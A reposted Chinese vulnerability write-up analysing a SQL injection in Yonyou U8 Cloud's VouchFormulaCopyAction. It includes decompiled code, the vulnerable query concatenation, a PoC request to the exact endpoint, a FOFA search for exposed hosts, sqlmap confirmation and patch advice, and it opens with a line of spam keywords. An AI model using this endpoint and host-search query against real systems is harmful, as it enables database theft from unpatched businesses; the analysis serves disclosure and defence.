成人欧美一区二区三区的电影,日韩一级一欧美一级国产,国产成人国拍亚洲精品,无码人妻精品一区二区三区毛片,伊人久久无码大香线蕉综合

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

用友U8 Cloud系統(tǒng)VouchFormulaCopyAction方法SQL注入漏洞分析

admin
2025年9月29日 10:16 本文熱度 1543

用友U8 Cloud系統(tǒng)VouchFormulaCopyAction方法存在SQL注入漏洞,攻擊者可獲取數(shù)據(jù)庫敏感信息

一、漏洞簡介

用友U8 Cloud系統(tǒng)VouchFormulaCopyAction方法存在SQL注入漏洞,攻擊者可獲取數(shù)據(jù)庫敏感信息

二、影響版本

1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

三、漏洞原理分析

首先看漏洞位于VouchFormulaCopyAction接口處,方法的完整路徑為nc.ui.hbbb.innertrade.VouchFormulaCopyAction,因為是Action方法,所以是按照用友的ActionServlet方法調(diào)用的方法漏洞

VouchFormulaCopyAction中的關(guān)鍵execute方法完整代碼如下

public ActionForward execute(ActionForm actionForm) {  
    VouchQueryForm form = (VouchQueryForm)actionForm;  
String[] strCopyUnitCodes = getListValues("selCopyUnitList");  
String[] strMeasPKs = getListValues("selItemList");  
String[] strCounterUnitPKs = getListValues("selUnitList");  
    VouchFormulaCondVO cond = new VouchFormulaCondVO();  
    cond.setSelfUnitCode(form.getSelfUnitPK());  
    cond.setItemCodes(strMeasPKs);  
    cond.setCounterUnitCodes(strCounterUnitPKs);  
try {  
      VouchFormulaVO[][] formulas = VouchFormulaBO\_Client.getVouchFormulasByCond(cond);  
      ArrayList<VouchFormulaVO> vForm = new ArrayList();  
int i;  
for (i = 0; i < formulas.length; i++) {  
for (int j = 0; j < (formulas[i]).length; j++)  
          vForm.add(formulas[i][j]);   
      }   
for (i = 0; i < strCopyUnitCodes.length; i++) {  
if (!strCopyUnitCodes[i].equals(form.getSelfUnitPK())) {  
for (int j = 0; j < vForm.size(); j++) {  
            VouchFormulaVO formula = vForm.get(j);  
            formula.setSelfUnitCode(strCopyUnitCodes[i]);  
          }   
          VouchFormulaBO_Client.addVouchFormulas(vForm.<VouchFormulaVO>toArray(new VouchFormulaVO[0]));  
        }   
      }   
    } catch (Exception e) {  
      AppDebug.debug(e);  
return (ActionForward)new ErrorForward(e.getMessage());  
    }   
return (ActionForward)new CloseForward("window_close();");  
  }

這里是有三個傳參的,分別是selCopyUnitList、selItemList、selUnitList

可以反向定位一下,這些傳參進(jìn)了哪些方法當(dāng)中,可以看到VouchFormulaCondVO中保存了上面的傳參,再作為cond傳入了getVouchFormulasByCond方法之中

那么去找這個方法,一通定位來到方法當(dāng)中

這里面多個參數(shù)都有注入,所以我挑其中一個講講

StringBuffer bufSQL = new StringBuffer("select form,counterunit_code,item_code from iufo_dxdata_form where selfunit_code=?");  
bufSQL.append(" and counterunit_code in (");  
String[] strUnitPKs = cond.getCounterUnitCodes();  
for (int i = 0; i < strUnitPKs.length; i++) {  
bufSQL.append("'" + strUnitPKs[i] + "'");  
if (i < strUnitPKs.length - 1) {  
  bufSQL.append(",");  
else {  
  bufSQL.append(")");  
}   
}

這里cond的counterUnitCodes對應(yīng)傳參selUnitList

它用for循環(huán)將數(shù)組里面的字符串進(jìn)行拼接,以and counterunit_code in (開頭,最后再以)結(jié)尾閉合括號

因此很明顯可以在數(shù)組里面?zhèn)骼ㄌ柼崆伴]合,造成SQL注入漏洞

該漏洞的請求數(shù)據(jù)包如下

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

四、總結(jié)

用友U8 Cloud系統(tǒng)VouchFormulaCopyAction方法存在SQL注入漏洞,攻擊者可獲取數(shù)據(jù)庫敏感信息

五、資產(chǎn)測繪

FOFA語法

app="用友-U8-Cloud"

六、漏洞復(fù)現(xiàn)

POC

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

selUnitList參數(shù)存在注入,使用SQLMAP注入驗證下,存在堆疊注入

七、修復(fù)建議

安裝用友U8 Cloud最新的補(bǔ)丁并更新到最新版本,對接口添加身份信息驗證并修改對應(yīng)的方法邏輯。

  轉(zhuǎn)自:https://forum.butian.net/article/792


閱讀原文:原文鏈接


該文章在 2025/9/30 10:27:50 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點晴ERP是一款針對中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內(nèi)大量中小企業(yè)的青睞。
點晴PMS碼頭管理系統(tǒng)主要針對港口碼頭集裝箱與散貨日常運作、調(diào)度、堆場、車隊、財務(wù)費用、相關(guān)報表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點,圍繞調(diào)度、堆場作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點晴WMS倉儲管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質(zhì)期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務(wù)都免費,不限功能、不限時間、不限用戶的免費OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved